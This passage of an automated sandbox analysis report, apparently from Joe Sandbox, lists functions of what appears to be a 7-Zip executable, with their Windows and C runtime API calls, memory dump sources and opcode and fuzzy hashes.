Instruction Fuzzy Hash: 80513862201A44D1CF10EF25D494BEE6721F785BC8F90802AEA4E97769DF7CCA9AC741

Function 007D1544 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 53COMMON

Download Yara Rule

APIs

fputs.MSVCRT ref: 007D15D5

Part of subcall function 007DB1C8: memset.MSVCRT ref: 007DB20D
Part of subcall function 007DB1C8: fputs.MSVCRT ref: 007DB232

Strings

Testing archive: , xrefs: 007D15C0
Extracting archive: , xrefs: 007D15C7
Open, xrefs: 007D1604

Memory Dump Source

Source File: 0000000C.00000002.2746630033.0000000000791000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00790000, based on PE: true

Associated: 0000000C.00000002.2746603803.0000000000790000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746673427.00000000007DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746707068.00000000007FC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746737266.00000000007FF000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_790000_7z.jbxd

Similarity

API ID: fputs$memset
String ID: Extracting archive: $Open$Testing archive:
API String ID: 3543874852-295398807
Opcode ID: 9f4bf5ef788e6728e8579e5dfc2a785cb0374665964cbcc9bd9e207323b06e63
Instruction ID: e2d27ea39fc18a5800073ff822b85005643b6b6c6b9e492c7310ea4c01eebedf
Opcode Fuzzy Hash: 9f4bf5ef788e6728e8579e5dfc2a785cb0374665964cbcc9bd9e207323b06e63
Instruction Fuzzy Hash: 85119462746682E4DF51EB29E9443E82370E749B98F5D8436DE0E4A351EF3DD4CAC310

Function 007C49B0 Relevance: 6.4, APIs: 5, Instructions: 106COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 007C4A5C
free.MSVCRT ref: 007C4A67
free.MSVCRT ref: 007C4AE4

Part of subcall function 00793314: memmove.MSVCRT ref: 00793339

free.MSVCRT ref: 007C4B0F
free.MSVCRT ref: 007C4B1A

Part of subcall function 00792130: malloc.MSVCRT ref: 00792134
Part of subcall function 00792130: _CxxThrowException.MSVCRT ref: 0079214F

Memory Dump Source

Source File: 0000000C.00000002.2746630033.0000000000791000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00790000, based on PE: true

Associated: 0000000C.00000002.2746603803.0000000000790000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746673427.00000000007DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746707068.00000000007FC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746737266.00000000007FF000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_790000_7z.jbxd

Similarity

API ID: free$ExceptionThrowmallocmemmove
String ID:
API String ID: 3352498445-0
Opcode ID: f09d109643d5301a863dcbc1eac6ebc95d32b47500cc1e90382adc6eb8b9989f
Instruction ID: c35ac2fb826f4d590a72045e76a08e43d90d5e8cb642f3b2b8f9f1aa0a7e3b6f
Opcode Fuzzy Hash: f09d109643d5301a863dcbc1eac6ebc95d32b47500cc1e90382adc6eb8b9989f
Instruction Fuzzy Hash: 37416D23245A84D1CF20EF25E4647AE6761F786B84F48513AEB8E47729DF3CC996C314

Function 007DE120 Relevance: 6.1, APIs: 4, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2746630033.0000000000791000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00790000, based on PE: true

Associated: 0000000C.00000002.2746603803.0000000000790000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746673427.00000000007DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746707068.00000000007FC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746737266.00000000007FF000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_790000_7z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ee94cdd725bc1b4db16937cbd8c93f2249c1c3cc61606458e41898ca9daa4340
Instruction ID: 4327d90bd257b4ebf80268111665379f11d7b4865f46a44e35dadb92dad1dc5c
Opcode Fuzzy Hash: ee94cdd725bc1b4db16937cbd8c93f2249c1c3cc61606458e41898ca9daa4340
Instruction Fuzzy Hash: C1311C71A18B85C6EB11DF28E99036A7770F784B64F504226E6AE477F4DB3CE885CB10

Function 00792320 Relevance: 6.0, APIs: 4, Instructions: 50COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 0079237E
free.MSVCRT ref: 007923AB
fputs.MSVCRT ref: 007923B8
free.MSVCRT ref: 007923C4

Part of subcall function 00793274: memmove.MSVCRT ref: 007932AC

Memory Dump Source

Source File: 0000000C.00000002.2746630033.0000000000791000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00790000, based on PE: true

Associated: 0000000C.00000002.2746603803.0000000000790000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746673427.00000000007DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746707068.00000000007FC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746737266.00000000007FF000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_790000_7z.jbxd

Similarity

API ID: free$fputsmemmove
String ID:
API String ID: 4106585527-0
Opcode ID: de874a376c389c5634e5b3a271c24aa59135fb5864ed34f7a1f8a9b157696600
Instruction ID: 36f207aff5a443b3b759e45fe6125b17fadf89e2fd7a4e6db61a42760a316f72
Opcode Fuzzy Hash: de874a376c389c5634e5b3a271c24aa59135fb5864ed34f7a1f8a9b157696600
Instruction Fuzzy Hash: D5015263248444D1DE20BB25F85556E6721EBC5BE4F045321BA6F877F9DE2CC687C700

Function 007968A0 Relevance: 6.0, APIs: 4, Instructions: 47COMMON

Download Yara Rule

APIs

SetFileAttributesW.KERNELBASE ref: 007968C7
SetFileAttributesW.KERNEL32 ref: 00796903
free.MSVCRT ref: 00796913
free.MSVCRT ref: 00796921

Memory Dump Source

Source File: 0000000C.00000002.2746630033.0000000000791000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00790000, based on PE: true

Associated: 0000000C.00000002.2746603803.0000000000790000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746673427.00000000007DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746707068.00000000007FC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746737266.00000000007FF000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_790000_7z.jbxd

Similarity

API ID: AttributesFilefree
String ID:
API String ID: 1936811914-0
Opcode ID: 2ecb6214096e143b2484f2832f1280b3ab62ecd8edf6342453ae4ca911538852
Instruction ID: 634b7da231ed1de5613c9b779bb86802ddc84be15447f19a3226c6afb702c734
Opcode Fuzzy Hash: 2ecb6214096e143b2484f2832f1280b3ab62ecd8edf6342453ae4ca911538852
Instruction Fuzzy Hash: 3F01FD22308205D2CE30AB25B99423E17659B8A7F0F184321AE6E873A5CE2CCD8B9700

Function 007B9BCC Relevance: 5.1, APIs: 4, Instructions: 108COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 007B9C11
free.MSVCRT ref: 007B9C19
free.MSVCRT ref: 007B9C3B
free.MSVCRT ref: 007B9D2A

Memory Dump Source

Source File: 0000000C.00000002.2746630033.0000000000791000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00790000, based on PE: true

Associated: 0000000C.00000002.2746603803.0000000000790000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746673427.00000000007DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746707068.00000000007FC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746737266.00000000007FF000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_790000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: a086575436bb1dab92896187efcc91c1141d2fc1101c006b67dc30f66384b578
Instruction ID: 1d17266fae611aa1ee388ff7ac487e448296cbe7e86e3afbed9680b34cac62a1
Opcode Fuzzy Hash: a086575436bb1dab92896187efcc91c1141d2fc1101c006b67dc30f66384b578
Instruction Fuzzy Hash: 7E31B063715684D6CB20EF26E4845AEBBA1F7887A0B588235EF6E47759DB3CC842C710

Function 007BA9FC Relevance: 5.1, APIs: 4, Instructions: 67COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 007BAA95
free.MSVCRT ref: 007BAAB8
free.MSVCRT ref: 007BAAC5
free.MSVCRT ref: 007BAAD2

Memory Dump Source

Source File: 0000000C.00000002.2746630033.0000000000791000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00790000, based on PE: true

Associated: 0000000C.00000002.2746603803.0000000000790000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746673427.00000000007DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746707068.00000000007FC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746737266.00000000007FF000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_790000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 2fb1bdadda0f0f67c2ab4cf383632212aedf00074fa5b7e75f5519585e2e69a4
Instruction ID: a8a3e41436c7acdb6a50bd45da595035dc55be75116b4273f9df450e2fe33615
Opcode Fuzzy Hash: 2fb1bdadda0f0f67c2ab4cf383632212aedf00074fa5b7e75f5519585e2e69a4
Instruction Fuzzy Hash: 4B116521218544A1DE10FB25F9553AA9760EBD13F0F405221BBAE87AEADE1CC94BCB00

Function 007B01A8 Relevance: 5.0, APIs: 4, Instructions: 50COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 007B0211
free.MSVCRT ref: 007B021C
free.MSVCRT ref: 007B0249
free.MSVCRT ref: 007B0254

Memory Dump Source

Source File: 0000000C.00000002.2746630033.0000000000791000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00790000, based on PE: true

Associated: 0000000C.00000002.2746603803.0000000000790000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746673427.00000000007DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746707068.00000000007FC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746737266.00000000007FF000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_790000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 2682a3d483ed8198c6bc67279e3496169ab0818a4c7350e9ba69b47f62e70939
Instruction ID: 02686c969e966a325d84018d662cf93758c9ffe55d2ad2cc457f82f48c9e6ea1
Opcode Fuzzy Hash: 2682a3d483ed8198c6bc67279e3496169ab0818a4c7350e9ba69b47f62e70939
Instruction Fuzzy Hash: 7D01DB22254544D0CD20FB22F45D6AF9321FBC27E4F4412217E9E576B6CE2CC54BC704

Function 00798CDC Relevance: 4.6, APIs: 3, Instructions: 75fileCOMMON

Download Yara Rule

APIs

Part of subcall function 007989D8: CloseHandle.KERNELBASE(?,?,?,?,?,?,?,?,FFFFFFFF,?,?,?,00000003,?,00000000,00000000), ref: 007989EA

CreateFileW.KERNELBASE ref: 00798D51
CreateFileW.KERNEL32 ref: 00798DA4
free.MSVCRT ref: 00798DB2

Memory Dump Source

Source File: 0000000C.00000002.2746630033.0000000000791000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00790000, based on PE: true

Associated: 0000000C.00000002.2746603803.0000000000790000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746673427.00000000007DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746707068.00000000007FC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746737266.00000000007FF000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_790000_7z.jbxd

Similarity

API ID: CreateFile$CloseHandlefree
String ID:
API String ID: 210839660-0
Opcode ID: 61d1414c3204940837fafab39737341ec41e4676ab64096d397cf1e7feeedc36
Instruction ID: 6c789107ef60a3baf8e36024e28542b8984676545ab45927b7a262065b5c5546
Opcode Fuzzy Hash: 61d1414c3204940837fafab39737341ec41e4676ab64096d397cf1e7feeedc36
Instruction Fuzzy Hash: 652180332046819ACBA09F15B845A5A6724F79A7F4F540321EFBA43BE4CF3DC896CB00

Function 007D2CFC Relevance: 4.6, APIs: 3, Instructions: 70COMMON

Download Yara Rule

APIs

Part of subcall function 00793274: memmove.MSVCRT ref: 007932AC

fputs.MSVCRT ref: 007D2D41
fputs.MSVCRT ref: 007D2DCF
free.MSVCRT ref: 007D2DFF

Part of subcall function 00792300: fputc.MSVCRT ref: 00792311

Memory Dump Source

Source File: 0000000C.00000002.2746630033.0000000000791000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00790000, based on PE: true

Associated: 0000000C.00000002.2746603803.0000000000790000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746673427.00000000007DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746707068.00000000007FC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746737266.00000000007FF000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_790000_7z.jbxd

Similarity

API ID: fputs$fputcfreememmove
String ID:
API String ID: 1158454270-0
Opcode ID: ce718a67f578e75b63cebf5a55997fc31d3fdfa31f102c43e696e4c730ade246
Instruction ID: 09f25830138715575afd7e51a10597856dd326880fddfeef067d5a624dfe4f03
Opcode Fuzzy Hash: ce718a67f578e75b63cebf5a55997fc31d3fdfa31f102c43e696e4c730ade246
Instruction Fuzzy Hash: 9B213262745A01D1CF20FB25F85525E6331EB99BE4F489222EA5F4776ADE2CC5478700

Function 00792300 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON

Download Yara Rule

APIs

fputc.MSVCRT ref: 00792311

Strings

Kernel , xrefs: 00792300

Memory Dump Source

Source File: 0000000C.00000002.2746630033.0000000000791000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00790000, based on PE: true

Associated: 0000000C.00000002.2746603803.0000000000790000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746673427.00000000007DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746707068.00000000007FC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746737266.00000000007FF000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_790000_7z.jbxd

Similarity

API ID: fputc
String ID: Kernel
API String ID: 1992160199-1736990243
Opcode ID: 0587dab81f2bb3112332d7aab628a035a02b5f4d8aa9838a9d6f6812646a1732
Instruction ID: 4b532cd11a3453e8dc19b841a5d62d7e0e3bfe755497df04fa5e64f2bc68c479
Opcode Fuzzy Hash: 0587dab81f2bb3112332d7aab628a035a02b5f4d8aa9838a9d6f6812646a1732
Instruction Fuzzy Hash: 72C09B55B5460883EF1417B7E8453251221D75DF91F185031CE1D07350D91CD4D68711

Function 007C3D58 Relevance: 3.1, APIs: 1, Strings: 1, Instructions: 93COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 007C3E2A

Part of subcall function 00792130: malloc.MSVCRT ref: 00792134
Part of subcall function 00792130: _CxxThrowException.MSVCRT ref: 0079214F

Strings

h{, xrefs: 007C3D99

Memory Dump Source

Source File: 0000000C.00000002.2746630033.0000000000791000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00790000, based on PE: true

Associated: 0000000C.00000002.2746603803.0000000000790000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746673427.00000000007DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746707068.00000000007FC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746737266.00000000007FF000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_790000_7z.jbxd

Similarity

API ID: ErrorExceptionLastThrowmalloc
String ID: h{
API String ID: 2114622545-2919225065
Opcode ID: 53aea2c750e75119cad48fb564047798f36c27bd60b9748b317531b4fdd21722
Instruction ID: be1b906c6048d9262a34dd5c76a4204b55aa3462fde3467a7d7676982b3e5988
Opcode Fuzzy Hash: 53aea2c750e75119cad48fb564047798f36c27bd60b9748b317531b4fdd21722
Instruction Fuzzy Hash: F9318B32305B4086DB159F29E588B69B3A1FB89FD0F18852C9B5A07764DF3CC956C300

Function 007DB1C8 Relevance: 3.1, APIs: 2, Instructions: 51COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 007DB20D
fputs.MSVCRT ref: 007DB232

Part of subcall function 00792B04: _CxxThrowException.MSVCRT ref: 00792B2D
Part of subcall function 00792B04: free.MSVCRT ref: 00792B44

Memory Dump Source

Source File: 0000000C.00000002.2746630033.0000000000791000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00790000, based on PE: true

Associated: 0000000C.00000002.2746603803.0000000000790000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746673427.00000000007DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746707068.00000000007FC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746737266.00000000007FF000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_790000_7z.jbxd

Similarity

API ID: ExceptionThrowfputsfreememset
String ID:
API String ID: 3104931167-0
Opcode ID: 4ef15fd8aa1144054d3f8c1e688ea89a0331c1f98529cff2cb93b1434cf32894
Instruction ID: 4c11f71d15815c4ec96f2ce248315434f5efe667c1ac8625f8f74e1cc2fff5b4
Opcode Fuzzy Hash: 4ef15fd8aa1144054d3f8c1e688ea89a0331c1f98529cff2cb93b1434cf32894
Instruction Fuzzy Hash: 5601ADA7700690EAE705DF6AEA8475E2730F759B94F098022DF0807711DB78E8AAC310

Function 00798A60 Relevance: 3.0, APIs: 2, Instructions: 37COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(?,?,00000003,?,00798E1D), ref: 00798A99
GetLastError.KERNEL32(?,?,00000003,?,00798E1D), ref: 00798AA6

Memory Dump Source

Source File: 0000000C.00000002.2746630033.0000000000791000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00790000, based on PE: true

Associated: 0000000C.00000002.2746603803.0000000000790000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746673427.00000000007DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746707068.00000000007FC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746737266.00000000007FF000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_790000_7z.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: cf0d94ecf42caac14694387020930a2bb5976bb2b97546524ee3b67299013e46
Instruction ID: 110d86a7bcd3e603557d8533903d3eefe13d11993942245bfe86972209b98f89
Opcode Fuzzy Hash: cf0d94ecf42caac14694387020930a2bb5976bb2b97546524ee3b67299013e46
Instruction Fuzzy Hash: D0F0F672B017C483DF608F69E8447582361EB5AB98F6CC023CA0943B50DF2EC882C711

Function 007D0994 Relevance: 3.0, APIs: 2, Instructions: 27COMMON

Download Yara Rule

APIs

fputs.MSVCRT ref: 007D09D5

Part of subcall function 00792300: fputc.MSVCRT ref: 00792311

free.MSVCRT ref: 007D09E9

Memory Dump Source

Source File: 0000000C.00000002.2746630033.0000000000791000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00790000, based on PE: true

Associated: 0000000C.00000002.2746603803.0000000000790000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746673427.00000000007DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746707068.00000000007FC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746737266.00000000007FF000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_790000_7z.jbxd

Similarity

API ID: fputcfputsfree
String ID:
API String ID: 2822829076-0
Opcode ID: e0bb0529e73891d184958c91263af9b458e0cdb2801925c14b56b99b46a72feb
Instruction ID: edeb5cd9ef2f95cdfb2e18d4e82a4372d73779f10c48443f7319525d8798d2ce
Opcode Fuzzy Hash: e0bb0529e73891d184958c91263af9b458e0cdb2801925c14b56b99b46a72feb
Instruction Fuzzy Hash: 5EF0126364594490CA20EB25F95935D5330E789BF8F485321EE6D477FADE2CC586C740

Function 007C4035 Relevance: 2.6, APIs: 2, Instructions: 91COMMON

Download Yara Rule

APIs

memmove.MSVCRT ref: 007C404D
memmove.MSVCRT ref: 007C4087

Part of subcall function 00793404: free.MSVCRT ref: 00793431
Part of subcall function 00793404: memmove.MSVCRT ref: 0079344C

Part of subcall function 00792130: malloc.MSVCRT ref: 00792134
Part of subcall function 00792130: _CxxThrowException.MSVCRT ref: 0079214F

Memory Dump Source

Source File: 0000000C.00000002.2746630033.0000000000791000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00790000, based on PE: true

Associated: 0000000C.00000002.2746603803.0000000000790000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746673427.00000000007DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746707068.00000000007FC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746737266.00000000007FF000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_790000_7z.jbxd

Similarity

API ID: memmove$ExceptionThrowfreemalloc
String ID:
API String ID: 1415420288-0
Opcode ID: 922c4c0b2366e04d7b7bc81b27483721c255a8e103a606f9716e352ae471c5b3
Instruction ID: 92bcb3998bb4d43ef2d28f8490d3c3cf0523a3dcbc7128d3dc6f83c649cace56
Opcode Fuzzy Hash: 922c4c0b2366e04d7b7bc81b27483721c255a8e103a606f9716e352ae471c5b3
Instruction Fuzzy Hash: 1B316D672196C5D6CA31EB14E5987EEB760F391340F40442AC79947B6AEF2CD69ACB00

Function 007C4054 Relevance: 2.6, APIs: 2, Instructions: 61COMMON

Download Yara Rule

APIs

memmove.MSVCRT ref: 007C4065
memmove.MSVCRT ref: 007C4087

Part of subcall function 00793404: free.MSVCRT ref: 00793431
Part of subcall function 00793404: memmove.MSVCRT ref: 0079344C

Part of subcall function 00792130: malloc.MSVCRT ref: 00792134
Part of subcall function 00792130: _CxxThrowException.MSVCRT ref: 0079214F

Memory Dump Source

Source File: 0000000C.00000002.2746630033.0000000000791000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00790000, based on PE: true

Associated: 0000000C.00000002.2746603803.0000000000790000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746673427.00000000007DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746707068.00000000007FC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746737266.00000000007FF000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_790000_7z.jbxd

Similarity

API ID: memmove$ExceptionThrowfreemalloc
String ID:
API String ID: 1415420288-0
Opcode ID: 19adca41d0c10e802e7e9a033628de9dc28b031a0220b8790a91693c387ff0bb
Instruction ID: 27bd307ca242cdd4a1eb071b34a32b32a4475eb8c06df3eee55a5c001b0bf3e5
Opcode Fuzzy Hash: 19adca41d0c10e802e7e9a033628de9dc28b031a0220b8790a91693c387ff0bb
Instruction Fuzzy Hash: 991193623156C5D2CE31EB15F4997EEA321F791790F80842AD79D47A69DB3CC68ACB00

Function 007B9A34 Relevance: 2.5, APIs: 2, Instructions: 41COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 007B9A84
free.MSVCRT ref: 007B9A95

Memory Dump Source

Source File: 0000000C.00000002.2746630033.0000000000791000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00790000, based on PE: true

Associated: 0000000C.00000002.2746603803.0000000000790000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746673427.00000000007DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746707068.00000000007FC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746737266.00000000007FF000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_790000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: e7d5ba1defadd3acd0d91b79684e099e0fccd2f3b59dc636ae55ac404bf7f5e6
Instruction ID: 7f959a08071e5271e67aa19bc7e82cc7321c48b9df67fe686e3ffda6b7e207d4
Opcode Fuzzy Hash: e7d5ba1defadd3acd0d91b79684e099e0fccd2f3b59dc636ae55ac404bf7f5e6
Instruction Fuzzy Hash: 2BF08163302A94C6DA20AA26E8446AD6710AB86FB1F198320DF7917B91CF28C957C300

Function 007DC7D4 Relevance: 2.5, APIs: 2, Instructions: 40COMMON

Download Yara Rule

APIs

Part of subcall function 00792130: malloc.MSVCRT ref: 00792134
Part of subcall function 00792130: _CxxThrowException.MSVCRT ref: 0079214F

memmove.MSVCRT ref: 007DC815
free.MSVCRT ref: 007DC81D

Memory Dump Source

Source File: 0000000C.00000002.2746630033.0000000000791000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00790000, based on PE: true

Associated: 0000000C.00000002.2746603803.0000000000790000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746673427.00000000007DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746707068.00000000007FC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746737266.00000000007FF000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_790000_7z.jbxd

Similarity

API ID: ExceptionThrowfreemallocmemmove
String ID:
API String ID: 1097815484-0
Opcode ID: 581426f19328811152166685f6cf1937972c62f6cd3183fa7d76b20dd62ec97f
Instruction ID: 0fb1bc3ddcd32a73bbff78c319fedea471a9b11aeb37921ea31d7ee81bfc6657
Opcode Fuzzy Hash: 581426f19328811152166685f6cf1937972c62f6cd3183fa7d76b20dd62ec97f
Instruction Fuzzy Hash: C4018177702588CBCB14DF26D46596CB765E388F99B08C12ADF054B358CA38DC96CB90

Function 007D0A1C Relevance: 2.5, APIs: 2, Instructions: 29COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 007D0A42
LeaveCriticalSection.KERNEL32 ref: 007D0A73

Part of subcall function 007DB480: GetTickCount.KERNEL32 ref: 007DB49E
Part of subcall function 007DB480: strcmp.MSVCRT ref: 007DB4E3
Part of subcall function 007DB480: wcscmp.MSVCRT ref: 007DB502
Part of subcall function 007DB480: strcmp.MSVCRT ref: 007DB568

Memory Dump Source

Source File: 0000000C.00000002.2746630033.0000000000791000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00790000, based on PE: true

Associated: 0000000C.00000002.2746603803.0000000000790000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746673427.00000000007DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746707068.00000000007FC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746737266.00000000007FF000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_790000_7z.jbxd

Similarity

API ID: CriticalSectionstrcmp$CountEnterLeaveTickwcscmp
String ID:
API String ID: 3267814326-0
Opcode ID: e88f57d7c7d95c69104a252a1c7d9368823166ee09aea818bbba8cc4799af9b9
Instruction ID: 7d3a3a93684ee1d34b93e70db50d113e231479f87b67daecba1d5a2fbe903e3b
Opcode Fuzzy Hash: e88f57d7c7d95c69104a252a1c7d9368823166ee09aea818bbba8cc4799af9b9
Instruction Fuzzy Hash: D2F0E266614A9082E7108F24E8443A86370EB44FB4F144335DE7E477E4CF3C848AC314

Function 00792568 Relevance: 2.5, APIs: 2, Instructions: 26COMMON

Download Yara Rule

APIs

Part of subcall function 00793274: memmove.MSVCRT ref: 007932AC

free.MSVCRT ref: 007925B5
free.MSVCRT ref: 007925C0

Memory Dump Source

